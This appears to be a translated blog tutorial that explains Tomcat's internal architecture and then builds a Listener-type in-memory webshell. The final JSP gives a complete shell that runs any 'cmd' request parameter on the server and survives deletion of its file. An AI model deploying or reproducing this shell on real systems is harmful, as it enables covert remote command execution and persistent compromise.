Tomcat memory Listener type

1, Introduction to Tomcat

Main functions of Tomcat

As a Web server, tomcat implements two very core functions:

  • HTTP server function: Socket communication (based on TCP/IP) and parsing HTTP messages
  • Servlet container function: load and manage servlets, which are specifically responsible for processing Request requests

The above two functions correspond to the two core components of tomcat, Connector and Container. The Connector is responsible for external communication (completing the Http server function) and the Container is responsible for internal processing (completing the Servlet Container function).

  • Server
    Server means the entire tomcat server. A tomcat has only one server. The server contains at least one Service component to provide specific services.

  • Service
    A Service is an internal component of a Server. A Server can include multiple services. It binds several Connector components to a Container

  • Connector

    It is called a Connector, which is one of the core components of a Service. A Service can have multiple connectors, which are mainly used to connect client requests. It is used to accept requests, encapsulate requests into requests and responses, and then hand them to the Container for processing. After the Container is processed, it is handed over to the Connector and returned to the client.

  • Container
    Responsible for handling servlet requests from users

Connector connector

The connector mainly performs the following three core functions:

  • socket communication, that is, network programming
  • Analyze and process the application layer protocol and encapsulate it into a Request object
  • Convert Request to ServletRequest and Response to ServletResponse

The above three components are Endpoint, Processor and Adapter respectively. The Endpoint is responsible for providing the Request byte stream to the Processor, the Processor is responsible for providing the Request object defined by Tomcat to the Adapter, and the Adapter is responsible for providing the standard ServletRequest object to the Servlet container.

Container container

The Container component, also known as Catalina, is the core of Tomcat. In the Container, there are four kinds of containers: Engine, Host, Context and Wrapper. The four kinds of containers are designed in a complete set of baby style layered structure.

Functions of four containers:

  • Engine
    Represents the Servlet Engine of the whole Catalina, which is used to manage multiple virtual sites. A Service can only have one Engine at most, but one Engine can contain multiple hosts
  • Host
    Represents a virtual host, or a site. Tomcat can be configured with multiple virtual host addresses, and a virtual host can contain multiple contexts
  • Context
    Represents a Web application. Each Context has a unique path. A Web application can contain multiple wrappers
  • Wrapper
    Represents a Servlet, which is responsible for managing the life cycle of the whole Servlet, including loading, initialization, resource recycling, etc

As shown in the figure below, a.com and b.com correspond to two hosts respectively

Structure diagram of tomcat:

2, Listener memory

When requesting a website, the program first executes the contents of the listener listener: listener - > filter - > servlet

The Listener is loaded first, so you can dynamically register malicious Listener memory horses. Listeners are divided into the following categories:

  • ServletContext, triggered when the server starts and terminates
  • Session, triggered when the session operation
  • Request, triggered when accessing the service

Among them, the listener listening to the Request object is the most suitable memory horse. As long as you access the service, you can trigger the operation.

ServletRequestListener interface

If you want to introduce listener in Tomcat, you need to implement two interfaces: lifecycle listener and native EvenListener.

The listener that implements the LifecycleListener interface generally acts on the tomcat initialization startup phase. At this time, the client's request has not entered the parsing phase and is not suitable for memory.

So let's look at another EventListener interface. In Tomcat, many interfaces inherited from EventListener are customized and applied to the listening of various objects.

Focus on the ServletRequestListener interface

ServletRequestListener is used to listen to the creation and destruction of ServletRequest objects. When we access any resources, whether servlet s, JSPS or static resources, the requestInitialized method will be triggered.

Here, let's introduce ServletRequestListener and its execution process through a demo

Configure tomcat source code debugging environment: https://zhuanlan.zhihu.com/p/35454131

Write a TestListener inherited from the ServletRequestListener interface:

public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("Yes TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("Yes TestListener requestInitialized");
    }
}

Configure in web.xml:

    <listener>
        <listener-class>test.TestListener</listener-class>
    </listener>

Access any path: http://127.0.0.1:8080/11

You can see that the console prints the information. tomcat first executes requestInitialized and then requestDestroyed

requestInitialized: triggered when the request object is created

requestDestroyed: triggered when the request object is destroyed

StandardContext object

The StandardContext object is used to add a malicious listener

Connect to the above environment, directly drop the breakpoint at requestInitialized. After accessing the url, the whole call chain is displayed

By calling the chain, we found that Tomcat called the Listener we defined in StandardHostValve.

Follow up the context.fireRequestInitEvent and call the requestInitialized method at the red box as shown in the figure

After tracing up, it is found that the above listener is obtained in the StandardContext#getApplicationEventListeners method

Added listener in StandardContext#addApplicationEventListener

At this time, our idea is to call the StandardContext#addApplicationEventListener method to add our own malicious listener

How to get the StandardContext object in jsp

Mode 1:

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

Mode 2:

    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

The following are the memory horses exposed on the network:

test.jsp

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>

First, access the uploaded test.jsp to generate the listener memory horse. Then, even if the test.jsp is deleted, the memory horse can exist as long as the server is not restarted.

Posted on Fri, 05 Nov 2021 00:36:17 -0400 by mikes1471